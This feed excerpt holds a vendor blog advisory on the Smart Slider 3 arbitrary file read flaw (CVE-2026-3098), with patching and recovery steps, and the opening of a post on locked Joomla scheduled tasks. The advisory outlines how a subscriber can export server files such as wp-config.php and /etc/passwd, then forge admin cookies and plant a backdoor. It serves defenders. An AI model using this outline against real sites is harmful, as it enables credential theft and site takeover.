https://mysites.guru/_astro/smart-slider-3-mysitesguru-extension-search.Cva44K3P_Z1iXvxS.webp 2560w, https://mysites.guru/_astro/smart-slider-3-mysitesguru-extension-search.Cva44K3P_Z1WjcX.webp 3186w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you’re already a mySites.guru subscriber, you can open this page right now:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View all your Smart Slider 3 installations&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/4f895994db593d472cda9736c9476774&quot;&gt;Open Smart Slider 3 Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every version installed across all your connected sites, grouped by version number. You&apos;ll see which sites are still on vulnerable versions at a glance.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Every version of Smart Slider 3 installed across your sites is listed at the top. Below that, every individual site running the plugin, with its exact version. You can see which sites are still on vulnerable versions and which have already been updated to 3.5.1.34.&lt;/p&gt;
&lt;p&gt;That turns a vulnerability announcement from a stressful afternoon of logging into admin panels into a five-minute triage. One page, you know exactly which clients are exposed, and you start patching.&lt;/p&gt;
&lt;h3&gt;How to Push the Smart Slider 3 Update Across All Your Sites&lt;/h3&gt;
&lt;p&gt;Once you know which sites are affected, the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin updater&lt;/a&gt; lets you select every site running the vulnerable version and push the update in one batch. When a vulnerability drops affecting 800,000 sites, the agencies that patch in hours rather than weeks are the ones that don’t end up in incident response.&lt;/p&gt;
&lt;p&gt;If you don’t have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; and connect your sites. The plugin index builds automatically on the first snapshot.&lt;/p&gt;
&lt;h2&gt;What Happened with Smart Slider 3 CVE-2026-3098?&lt;/h2&gt;
&lt;p&gt;The vulnerability was discovered by Dmitrii Ignatyev on February 23, 2026, and reported through the &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/smart-slider-3&quot;&gt;Wordfence Bug Bounty Program&lt;/a&gt; (earning a $2,208 bounty). Wordfence validated the proof-of-concept the next day and notified the developer, Nextend.&lt;/p&gt;
&lt;p&gt;The problem is a missing capability check in Smart Slider 3’s export functionality. The plugin’s AJAX actions that handle slider exports are protected by a nonce (a one-time token that proves the request came from a logged-in session), but there’s no check on whether the user actually has permission to use that feature.&lt;/p&gt;
&lt;p&gt;A nonce proves you’re logged in. It doesn’t prove you’re an admin.&lt;/p&gt;
&lt;p&gt;In the vulnerable version, any authenticated user, including someone with just a subscriber account, could:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Obtain the required nonce (it’s available to any authenticated user)&lt;/li&gt;
&lt;li&gt;Call the &lt;code&gt;actionExportAll&lt;/code&gt; function via AJAX&lt;/li&gt;
&lt;li&gt;Receive a ZIP file containing exported slider data, including any referenced files&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The &lt;code&gt;ExportSlider&lt;/code&gt; class’s &lt;code&gt;create()&lt;/code&gt; method adds files to the export ZIP using &lt;code&gt;file_get_contents()&lt;/code&gt; without validating file types or restricting which directories can be accessed. Image files, video files, PHP files, config files, private keys - everything is treated the same way. There is no allowlist, no path restriction, and no file extension check. An attacker can manipulate the export to include any file the web server process can read.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Important: this is not limited to wp-config.php&lt;/p&gt;
  &lt;p&gt;Any file readable by the web server is exposed. That includes &lt;code&gt;.env&lt;/code&gt; files, &lt;code&gt;/etc/passwd&lt;/code&gt;, database backups, SSL private keys, payment gateway configs, SMTP credentials, and any other sensitive file on the server. If you run Smart Slider 3 on a shared hosting account, other sites on the same server may also be at risk depending on your host&apos;s isolation setup.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why Is the Smart Slider 3 File Read So Dangerous?&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;wp-config.php&lt;/code&gt; gets the most attention because it contains everything an attacker needs to own your site, but most servers have sensitive files well beyond WordPress configs.&lt;/p&gt;
&lt;p&gt;A single read of &lt;code&gt;wp-config.php&lt;/code&gt; gives an attacker:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Database username, password, host, and database name. If the database port is accessible from outside the server (more common than you’d think on budget hosting), they can connect directly and pull user password hashes, customer data, WooCommerce orders, and private content.&lt;/li&gt;
&lt;li&gt;Authentication keys and salts - the eight constants (&lt;code&gt;AUTH_KEY&lt;/code&gt;, &lt;code&gt;SECURE_AUTH_KEY&lt;/code&gt;, &lt;code&gt;LOGGED_IN_KEY&lt;/code&gt;, &lt;code&gt;NONCE_KEY&lt;/code&gt;, and their corresponding salts) that WordPress uses to sign session cookies. With these values, an attacker can forge a valid admin session cookie without knowing the admin password.&lt;/li&gt;
&lt;li&gt;The table prefix, which makes SQL injection attacks against other vulnerabilities more precise.&lt;/li&gt;
&lt;li&gt;Any third-party secrets stored as constants: API keys, payment gateway credentials, SMTP passwords, cloud storage keys. Many plugins put these in &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The practical attack chain: forge an admin cookie using the stolen keys, log into wp-admin, install a backdoor plugin, and maintain persistent access even after the original vulnerability is patched.&lt;/p&gt;
&lt;h2&gt;Who Is at Risk from the Smart Slider 3 Vulnerability?&lt;/h2&gt;
&lt;p&gt;The vulnerability requires subscriber-level authentication, the lowest role in WordPress. This means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WooCommerce stores, where customers create accounts to place orders (subscriber access)&lt;/li&gt;
&lt;li&gt;Membership sites and anything using a registration plugin&lt;/li&gt;
&lt;li&gt;Any site with “Anyone can register” enabled in Settings &amp;gt; General&lt;/li&gt;
&lt;li&gt;Multisite networks, where user registration on any site in the network provides the access level needed&lt;/li&gt;
&lt;li&gt;Sites with compromised low-privilege accounts from a previous breach or credential stuffing attack&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If your site doesn’t allow any form of user registration and has no subscriber accounts, the risk is significantly lower (but not zero, since an attacker could exploit a separate vulnerability to create an account first).&lt;/p&gt;
&lt;h2&gt;What Should You Do About Smart Slider 3 Right Now?&lt;/h2&gt;
&lt;h3&gt;1. Update Smart Slider 3 to &lt;span&gt;3.5.1.34&lt;span&gt;&lt;strong&gt;Outdated advice.&lt;/strong&gt; Version 3.5.1.35 was a malicious supply-chain release pushed via Nextend’s update infrastructure. Skip 3.5.1.35 entirely and update directly to &lt;strong&gt;3.5.1.36&lt;/strong&gt; or later. &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;Read why&lt;/a&gt;.&lt;/span&gt;&lt;/span&gt; 3.5.1.36 or Later&lt;/h3&gt;
&lt;p&gt;The 3.5.1.34 patch adds capability checks to the export AJAX actions and originally fixed CVE-2026-3098. However, &lt;strong&gt;version 3.5.1.35 was a malicious supply-chain release&lt;/strong&gt; containing a remote code execution backdoor. Always install &lt;strong&gt;3.5.1.36 or newer&lt;/strong&gt; to get both the CVE fix and a clean codebase. Update through the WordPress plugin updater or download from &lt;a href=&quot;https://wordpress.org/plugins/smart-slider-3/&quot;&gt;wordpress.org&lt;/a&gt;. See &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;the supply-chain compromise post&lt;/a&gt; for the full background.&lt;/p&gt;
&lt;p&gt;If you manage multiple sites, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass updater&lt;/a&gt; to push the update everywhere at once.&lt;/p&gt;
&lt;h3&gt;2. Regenerate Your Authentication Keys and Salts&lt;/h3&gt;
&lt;p&gt;If there’s any chance the vulnerability was exploited before you patched, your keys and salts should be considered compromised. Generate new ones at &lt;a href=&quot;https://api.wordpress.org/secret-key/1.1/salt/&quot;&gt;api.wordpress.org/secret-key/1.1/salt/&lt;/a&gt; and replace the existing values in &lt;code&gt;wp-config.php&lt;/code&gt;. This immediately invalidates all active sessions, forcing every user (including any attacker with a forged cookie) to log in again.&lt;/p&gt;
&lt;h3&gt;3. Change Your Database Password&lt;/h3&gt;
&lt;p&gt;Update the password in your hosting control panel or database server, then update &lt;code&gt;DB_PASSWORD&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt; to match. If the attacker read your credentials, this cuts off direct database access.&lt;/p&gt;
&lt;h3&gt;4. Audit Your User Accounts&lt;/h3&gt;
&lt;p&gt;Check your WordPress user list for accounts you don’t recognize, especially subscribers. Delete any unauthorized accounts. If you manage multiple sites, mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;user management&lt;/a&gt; lets you review accounts across all your sites from one place.&lt;/p&gt;
&lt;h3&gt;5. Run a Security Audit&lt;/h3&gt;
&lt;p&gt;Use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; to check for backdoors or modified files. If an attacker escalated from file read to admin access using forged cookies, they may have left persistent backdoors that are still there after the plugin update.&lt;/p&gt;
&lt;p&gt;Set up &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change monitoring&lt;/a&gt; so you’ll be alerted immediately if any watched files are modified after cleanup.&lt;/p&gt;
&lt;h3&gt;6. Review Server Access Logs&lt;/h3&gt;
&lt;p&gt;Check your access logs for unusual requests to Smart Slider 3’s AJAX endpoints. Look for POST requests to &lt;code&gt;admin-ajax.php&lt;/code&gt; with actions related to slider export from IP addresses you don’t recognize. This can help determine whether the vulnerability was exploited before the patch.&lt;/p&gt;
&lt;h2&gt;Smart Slider 3 Has a History of Vulnerabilities&lt;/h2&gt;
&lt;p&gt;This isn’t a one-off. Smart Slider 3 has had &lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/smart-slider-3&quot;&gt;eight documented vulnerabilities&lt;/a&gt; since 2021, including two High-severity issues in 2022. If you’re running this plugin, you need to stay on top of updates.&lt;/p&gt;













































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Year&lt;/th&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Type&lt;/th&gt;&lt;th&gt;CVSS&lt;/th&gt;&lt;th&gt;Min. Role&lt;/th&gt;&lt;th&gt;Fixed In&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;2021&lt;/td&gt;&lt;td&gt;CVE-2021-24382&lt;/td&gt;&lt;td&gt;Stored XSS&lt;/td&gt;&lt;td&gt;4.8&lt;/td&gt;&lt;td&gt;Author&lt;/td&gt;&lt;td&gt;3.5.0.9&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2022&lt;/td&gt;&lt;td&gt;CVE-2022-3357&lt;/td&gt;&lt;td&gt;PHP Object Injection&lt;/td&gt;&lt;td&gt;8.1&lt;/td&gt;&lt;td&gt;Subscriber&lt;/td&gt;&lt;td&gt;3.5.1.11&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2022&lt;/td&gt;&lt;td&gt;CVE-2022-45843&lt;/td&gt;&lt;td&gt;Stored XSS&lt;/td&gt;&lt;td&gt;5.4&lt;/td&gt;&lt;td&gt;Contributor&lt;/td&gt;&lt;td&gt;3.5.1.11&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2022&lt;/td&gt;&lt;td&gt;CVE-2022-45845&lt;/td&gt;&lt;td&gt;Deserialization of Untrusted Data&lt;/td&gt;&lt;td&gt;8.8&lt;/td&gt;&lt;td&gt;Subscriber&lt;/td&gt;&lt;td&gt;3.5.1.11&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2023&lt;/td&gt;&lt;td&gt;CVE-2023-0660&lt;/td&gt;&lt;td&gt;Stored XSS&lt;/td&gt;&lt;td&gt;6.8&lt;/td&gt;&lt;td&gt;Contributor&lt;/td&gt;&lt;td&gt;3.5.1.14&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2024&lt;/td&gt;&lt;td&gt;CVE-2024-3027&lt;/td&gt;&lt;td&gt;Missing Auth / File Upload&lt;/td&gt;&lt;td&gt;6.4&lt;/td&gt;&lt;td&gt;Subscriber&lt;/td&gt;&lt;td&gt;3.5.1.23&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2025&lt;/td&gt;&lt;td&gt;CVE-2025-6348&lt;/td&gt;&lt;td&gt;SQL Injection via &lt;code&gt;sliderid&lt;/code&gt;&lt;/td&gt;&lt;td&gt;7.6&lt;/td&gt;&lt;td&gt;Admin&lt;/td&gt;&lt;td&gt;3.5.1.29&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2026&lt;/td&gt;&lt;td&gt;CVE-2026-3098&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Arbitrary File Read&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;6.5&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Subscriber&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;3.5.1.34&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Notice the pattern: three of these eight vulnerabilities (including the current one) require only &lt;strong&gt;subscriber-level access&lt;/strong&gt;. That’s the lowest authenticated role in WordPress. The 2022 PHP Object Injection (CVSS 8.1) and Deserialization (CVSS 8.8) issues were both subscriber-exploitable too.&lt;/p&gt;
&lt;p&gt;The vendor has patched every disclosed vulnerability, and the response time on CVE-2026-3098 (acknowledged March 2, patched March 24) was reasonable. But the recurring pattern, especially around subscriber-level exploits, is something to factor into your risk assessment if you’re deciding whether to keep using this plugin.&lt;/p&gt;
&lt;h3&gt;Is the Joomla Version of Smart Slider 3 Also Vulnerable?&lt;/h3&gt;
&lt;p&gt;Yes. Smart Slider 3 is available for both WordPress and Joomla, and they share the same Nextend framework codebase. We compared the patched Joomla release (3.5.1.34) against the patched WordPress release and found &lt;strong&gt;identical files&lt;/strong&gt; - the md5 hashes of both &lt;code&gt;ExportSlider.php&lt;/code&gt; and &lt;code&gt;ControllerSliders.php&lt;/code&gt; match exactly between platforms.&lt;/p&gt;
&lt;p&gt;The vulnerable code path is the same on both platforms: the &lt;code&gt;actionExportAll()&lt;/code&gt; method lacked a permission check, and &lt;code&gt;ExportSlider::create()&lt;/code&gt; had no file extension whitelist. The 3.5.1.34 patch adds &lt;code&gt;validatePermission(&apos;smartslider_edit&apos;)&lt;/code&gt; and restricts exported files to image and media extensions (jpg, png, gif, mp4, mp3, svg, webp, avif).&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/1746-changelog&quot;&gt;Smart Slider 3 changelog&lt;/a&gt; is unified across both platforms, and the 3.5.1.34 entry (“Fix: Vulnerability improvements”) applies to WordPress and Joomla equally. Earlier entries in the same changelog reference Joomla-specific features like Joomla 6 compatibility, VirtueMart generators, and Joomla article generators, confirming this is a single shared codebase.&lt;/p&gt;
&lt;p&gt;If you run Smart Slider 3 on Joomla sites, update to &lt;span&gt;3.5.1.34&lt;span&gt;&lt;strong&gt;Outdated advice.&lt;/strong&gt; Version 3.5.1.35 was a malicious supply-chain release affecting both the WordPress and Joomla editions. Skip 3.5.1.35 and update directly to &lt;strong&gt;3.5.1.36&lt;/strong&gt; or later. &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;Read why&lt;/a&gt;.&lt;/span&gt;&lt;/span&gt; &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;3.5.1.36+&lt;/a&gt; with the same urgency. The Wordfence disclosure focuses on WordPress, but the Joomla version has identical risk.&lt;/p&gt;
&lt;p&gt;This is a recurring pattern for cross-platform plugins. The same thing happened with &lt;a href=&quot;https://mysites.guru/blog/acymailing-cve-2026-3614-joomla/&quot;&gt;AcyMailing CVE-2026-3614&lt;/a&gt; in April 2026: a WordPress-only CVE, a vendor patch that covers both CMS platforms, and no advisory reaching the Joomla half of the affected installations. If you run Joomla sites with plugins that also ship a WordPress build, watch the WordPress CVE feeds too.&lt;/p&gt;
&lt;h3&gt;Other WordPress Slider Plugins Have the Same Problem&lt;/h3&gt;
&lt;p&gt;Smart Slider 3 isn’t alone. In October 2025, Wordfence disclosed a &lt;a href=&quot;https://www.wordfence.com/blog/2025/10/4000000-wordpress-sites-affected-by-arbitrary-file-read-vulnerability-in-slider-revolution-wordpress-plugin/&quot;&gt;similar arbitrary file read in Slider Revolution&lt;/a&gt; affecting 4 million sites. That vulnerability also allowed authenticated users to read arbitrary server files through the export functionality.&lt;/p&gt;
&lt;p&gt;Slider plugins need file system access for exporting and importing configurations. That access, paired with missing authorization checks on export functions, is a recurring vulnerability pattern. The root cause in both cases: nonce validation without capability checks.&lt;/p&gt;
&lt;p&gt;The same pattern appears on the Joomla side too. The &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain/Tassos Framework vulnerability (CVE-2026-21627)&lt;/a&gt; disclosed in February 2026 is another AJAX endpoint with missing authorization, this time fully unauthenticated. Joomla’s &lt;code&gt;com_ajax&lt;/code&gt; routes requests to the nrframework plugin, which whitelists file inclusion as a non-admin task. No nonce, no login, no capability check at all. The root cause across all four vulnerabilities (Smart Slider 3, Slider Revolution, Novarain Framework, and now Joomla core itself) is the same: the AJAX handler authenticates the request but never authorises the action.&lt;/p&gt;
&lt;h3&gt;Update, March 31, 2026: Joomla hardens com_ajax&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 5.4.4 and 6.0.4&lt;/a&gt; shipped with ACL hardening for &lt;code&gt;com_ajax&lt;/code&gt; in Joomla core. The framework that routes AJAX requests for every Joomla plugin had the same authorization gap as the plugins built on top of it. This isn’t a handful of careless developers - the pattern runs all the way down to the CMS itself. Extension developers who rely on &lt;code&gt;com_ajax&lt;/code&gt; should audit their own authorization checks now.&lt;/p&gt;
&lt;h2&gt;Want Someone to Handle the Smart Slider 3 Fix for You?&lt;/h2&gt;
&lt;p&gt;If you’d rather hand this off, visit &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; and submit a request. For a one-time set fee, the site gets patched, audited, locked down, and returned secure. Non-subscribers get a free month of mySites.guru included.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-02-23&lt;/strong&gt; The flaw is submitted to the Wordfence Bug Bounty programme Found by Dmitrii Ignatyev, not by mySites.guru.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-02-24&lt;/strong&gt; Wordfence validates the proof of concept and tells Nextend Full details go to the Smart Slider developer the same day, and Wordfence Premium, Care and Response customers receive a firewall rule.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-02&lt;/strong&gt; Nextend acknowledges the report and starts work on a fix Six days after receiving the details.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-24&lt;/strong&gt; Smart Slider 3.5.1.34 is released with the fix Twenty-nine days after the report was validated.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-26&lt;/strong&gt; Wordfence Free users receive the firewall rule Thirty days after the paying tiers got it, which is the standard delay on that programme.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-31&lt;/strong&gt; Joomla 5.4.4 and 6.0.4 harden com_ajax itself Joomla ships ACL hardening for com_ajax, the shared entry point this class of flaw reaches through, so the platform closes some of the exposure rather than leaving it to each extension.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/blog/2026/03/800000-wordpress-sites-affected-by-arbitrary-file-read-vulnerability-in-smart-slider-3-wordpress-plugin/&quot;&gt;Wordfence advisory for CVE-2026-3098&lt;/a&gt; - the original disclosure with full technical analysis&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/smart-slider-3/&quot;&gt;Smart Slider 3 on WordPress.org&lt;/a&gt; - download the latest patched version&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/security/hardening/&quot;&gt;WordPress Hardening Handbook&lt;/a&gt; - official security best practices&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/smart-slider-3&quot;&gt;Patchstack Smart Slider 3 vulnerability history&lt;/a&gt; - all eight documented CVEs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://api.wordpress.org/secret-key/1.1/salt/&quot;&gt;WordPress secret key generator&lt;/a&gt; - regenerate your authentication keys and salts&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt; - the same nonce-without-capability pattern across Joomla&apos;s com_ajax and WordPress admin-ajax.php&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Four WordPress Plugins That Shipped Security Patches in March 2026&lt;/a&gt; - Elementor, Yoast SEO, WPForms, and Really Simple Security all patched critical issues in the same disclosure window as CVE-2026-3098&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads CVE-2026-0740&lt;/a&gt; - another WordPress plugin admin-ajax.php handler that made it one step further, gaining an unauthenticated arbitrary file upload (CVSS 9.8) affecting around 50,000 sites&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a broader look at CMS security, see our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>joomla</category><category>security</category><category>plugins</category><category>vulnerability</category><category>smart slider</category><enclosure url="https://mysites.guru/img/og/blog/smart-slider-3-arbitrary-file-read-vulnerability.png" length="0" type="image/png"/></item><item><title>Detect Locked Joomla Scheduled Tasks Before They Cause Problems</title><link>https://mysites.guru/blog/detect-locked-joomla-scheduled-tasks/</link><guid isPermaLink="true">https://mysites.guru/blog/detect-locked-joomla-scheduled-tasks/</guid><description>Joomla&apos;s Task Scheduler can leave tasks stuck in a locked state after crashes or timeouts. mySites.guru detects and unlocks them across all your sites.</description><pubDate>Thu, 26 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla’s Task Scheduler has been running background jobs since Joomla 4.1: sending update notifications, cleaning up expired sessions, rotating logs, processing privacy consent requests. It works well, right up until a task crashes mid-execution. When that happens, the lock is never released. The task sits there marked as “running” even though the process stopped minutes or hours ago.&lt;/p&gt;
&lt;p&gt;In the Joomla admin, locked tasks show up with a running person icon in System &amp;gt; Scheduled Tasks:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;Joomla Scheduled Tasks admin screen showing the running person icon on a locked Update Notification task&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2544px) 2544px, 100vw&quot; width=&quot;2544&quot; height=&quot;466&quot; src=&quot;https://mysites.guru/_astro/joomla-locked-scheduled-task-admin.Djr0_iPd_1fvhDD.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-locked-scheduled-task-admin.Djr0_iPd_ZHFEX3.webp 640w, https://mysites.guru/_astro/joomla-locked-scheduled-task-admin.Djr0_iPd_uQo06.webp 750w, https://mysites.guru/_astro/joomla-locked-scheduled-task-admin.Djr0_iPd_2f0Q2c.webp 828w, https://mysites.guru/_astro/joomla-locked-scheduled-task-admin.Djr0_iPd_YAski.webp 1080w, https://mysites.guru/_astro/joomla-locked-scheduled-task-admin.Djr0_iPd_5jNGU.webp 1280w, https://mysites.guru/_astro/joomla-locked-scheduled-task-admin.Djr0_iPd_Z29adGF.webp 1668w, https://mysites.guru/_astro/joomla-locked-scheduled-task-admin.Djr0_iPd_Z1MRzIR.webp 2048w, https://mysites.guru/_astro/joomla-locked-scheduled-task-admin.Djr0_iPd_1fvhDD.webp 2544w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;But no one checks that screen regularly. If you &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage 30 Joomla sites&lt;/a&gt;, you’re not logging into each one to inspect the task scheduler. Update notifications stop arriving, sessions pile up, logs grow unchecked, and you don’t find out until something breaks.&lt;/p&gt;
&lt;h2&gt;Locked-Task Detection in Every Snapshot&lt;/h2&gt;
&lt;p&gt;Every time you run a &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; on a Joomla 5 or 6 site, mySites.guru checks for locked scheduled tasks automatically. The result appears in the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;audit dashboard&lt;/a&gt; alongside the rest of your site health data:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0 locked tasks: green badge, everything healthy&lt;/li&gt;
&lt;li&gt;1 or more locked tasks: warning badge with the count, plus Investigate and Fix buttons&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Click Investigate to see exactly which tasks are stuck. mySites.guru connects to the site and pulls the full details: task name, type, how long it’s been locked, the last exit code, and an Unlock button to fix it on the spot.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru Investigate view showing a locked Update Notification task with task name, type, locked since timestamp, last exit code, and Unlock button&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2632px) 2632px, 100vw&quot; width=&quot;2632&quot; height=&quot;1384&quot; src=&quot;https://mysites.guru/_astro/mysites-guru-locked-scheduled-task-investigate.BWiPZYAn_1LQP7c.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysites-guru-locked-scheduled-task-investigate.BWiPZYAn_Z2hhqDh.webp 640w, https://mysites.guru/_astro/mysites-guru-locked-scheduled-task-investigate.BWiPZYAn_1XoDuI.webp 750w, https://mysites.guru/_astro/mysites-guru-locked-scheduled-task-investigate.BWiPZYAn_Od1LC.webp 828w, https://mysites.guru/_astro/mysites-guru-locked-scheduled-task-investigate.BWiPZYAn_ZcO8nq.webp 1080w, https://mysites.guru/_astro/mysites-guru-locked-scheduled-task-investigate.BWiPZYAn_Z1Rk4xB.webp 1280w, https://mysites.guru/_astro/mysites-guru-locked-scheduled-task-investigate.BWiPZYAn_Zn8UTi.webp 1668w, https://mysites.guru/_astro/mysites-guru-locked-scheduled-task-investigate.BWiPZYAn_2faSb.webp 2048w, https://mysites.guru/_astro/mysites-guru-locked-scheduled-task-investigate.BWiPZYAn_ZjrLej.webp 2560w, https://mysites.guru/_astro/mysites-guru-locked-scheduled-task-investigate.BWiPZYAn_1LQP7c.webp 2632w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If a task has been locked for more than 15 minutes, mySites.guru flags it with an additional warning. Joomla’s default task timeout is 300 seconds. Anything beyond that is almost certainly stuck, not actively running.&lt;/p&gt;
&lt;p&gt;The check itself is lightweight - a single &lt;code&gt;COUNT(*)&lt;/code&gt; query against an indexed column, adding negligible overhead to the snapshot.&lt;/p&gt;
&lt;h3&gt;What about checking all your sites at once?&lt;/h3&gt;
&lt;p&gt;If you manage dozens or hundreds of Joomla sites, you don’t want to open each snapshot individually. The pivot page shows the locked task count for every connected Joomla site on a single screen. One glance tells you which sites have stuck tasks and which are clean. Click Investigate on any flagged site to drill into the details, or Fix to unlock the stuck tasks remotely.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru pivot page showing the locked scheduled tasks check across all connected Joomla sites, with OK status badges and Investigate buttons for each site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3176px) 3176px, 100vw&quot; width=&quot;3176&quot; height=&quot;1526&quot; src=&quot;https://mysites.guru/_astro/mysites-guru-locked-scheduled-tasks-pivot.CQ2LbEPL_1XgaNQ.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysites-guru-locked-scheduled-tasks-pivot.CQ2LbEPL_ZDKVnw.webp 640w, https://mysites.guru/_astro/mysites-guru-locked-scheduled-tasks-pivot.CQ2LbEPL_2ib47z.webp 750w, https://mysites.guru/_astro/mysites-guru-locked-scheduled-tasks-pivot.CQ2LbEPL_Z25bwpF.webp 828w, https://mysites.guru/_astro/mysites-guru-locked-scheduled-tasks-pivot.CQ2LbEPL_1XD0j0.webp 1080w, https://mysites.guru/_astro/mysites-guru-locked-scheduled-tasks-pivot.CQ2LbEPL_Z13xBMt.webp 1280w, https://mysites.guru/_astro/mysites-guru-locked-scheduled-tasks-pivot.CQ2LbEPL_Z1PFRfB.webp 1668w, https://mysites.guru/_astro/mysites-guru-locked-scheduled-tasks-pivot.CQ2LbEPL_oVnCP.webp 2048w, 